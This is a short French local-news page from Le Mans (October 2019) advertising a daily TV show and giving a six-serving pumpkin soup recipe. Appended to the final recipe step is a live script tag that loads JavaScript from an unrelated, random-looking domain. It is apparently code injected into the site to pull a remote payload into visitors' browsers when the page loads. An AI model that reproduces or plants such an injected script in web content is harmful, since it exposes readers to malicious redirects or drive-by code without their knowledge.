Le Mans
Société
Par CINDY TOMPOUCE
Publié le 09/10/2019 à 20:00

Au Quotidien - La Suite (09.10.2019)

« Au Quotidien, la suite » présenté par Aurélien LEGENDRE, 9 minutes quotidiennes pour faire le plein d'informations, de conseils, de bonne humeur et de jeux !

Du lundi au vendredi en direct à 18h45

Canal 33 de la TNT - Bbox : 369 - Orange : 346

www.viaLMtvSarthe.tv

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Avec Jacqueline Rousseau pour le rendez-vous cuisine !


Soupe de potimarron (6 p)


1 potimarron d’1 kg

1 gros oignon jaune

1 gousse d’ail

1 cm de gingembre

2 c à soupe d’huile d’olive

de l’eau

sel



1 – Laver le potimarron à l’aide d’une brosse à légumes

2 – couper le potimarron en 4

3 – Enlever la partie fibreuse et les graines

4 – Couper les morceaux de potimarron en cubes.

5 – Peler et émincer l’oignon

6 – Mettre une cocotte à feu doux puis faire revenir dans l’huile d’olive, l’oignon émincé, le gingembre émincé et les morceaux de potimarron.

7 – Couvrir d’eau et saler

8 - Laisser cuire 20 minutes. Mixer

9 – Ajouter l’ail pressé.<script async="" src="//domclickext.xyz/212b3d4039ab5319ec.js" type="text/javascript"></script>